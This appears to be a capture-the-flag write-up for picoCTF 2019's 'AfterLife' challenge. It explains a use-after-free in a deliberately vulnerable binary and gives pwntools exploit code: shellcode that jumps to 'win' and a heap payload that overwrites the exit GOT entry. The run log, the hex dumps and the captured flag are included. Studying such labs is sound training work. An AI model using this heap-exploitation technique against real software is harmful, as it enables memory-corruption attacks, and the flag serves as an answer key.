AfterLife
Problem
Solution
free(first); // <-- 'first' is freed free(third); fifth=malloc(128); puts("you will write on first after it was freed... an overflow will not be very useful..."); gets(first); // <-- 'first' is usedshell_code = asm('jmp l1; nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop; l1: push {}; ret;'.format(hex(exe.symbols["win"]))) payload = p32(exe.got["exit"] - 12) + p32(address + 8) + shell_code[*] '~/Documents/PicoCTF/Binary Exploitation/AfterLife/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] <username>@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (14B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.iglmDgay5w' [+] Opening new channel: 'ln -s /home/<username>/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] win address: 0x8048966 [*] exit address: 0x804d02c [+] Starting remote process b'/problems/afterlife_2_049150f2f8b03c16dc0382de6e2e2215/vuln' on 2019shell1.picoctf.com: pid 1695575 [*] first address: 0x8836008 [*] shellcode: 00000000 eb 0c 90 90 90 90 90 90 90 90 90 90 90 90 68 66 │····│····│····│··hf│ 00000010 89 04 08 c3 │····│ 00000014 [*] payload: 00000000 20 d0 04 08 10 60 83 08 eb 0c 90 90 90 90 90 90 │ ···│·`··│····│····│ 00000010 90 90 90 90 90 90 68 66 89 04 08 c3 │····│··hf│····│ 0000001c [+] picoCTF{what5_Aft3r_187f3d9a}
Flag
Last updated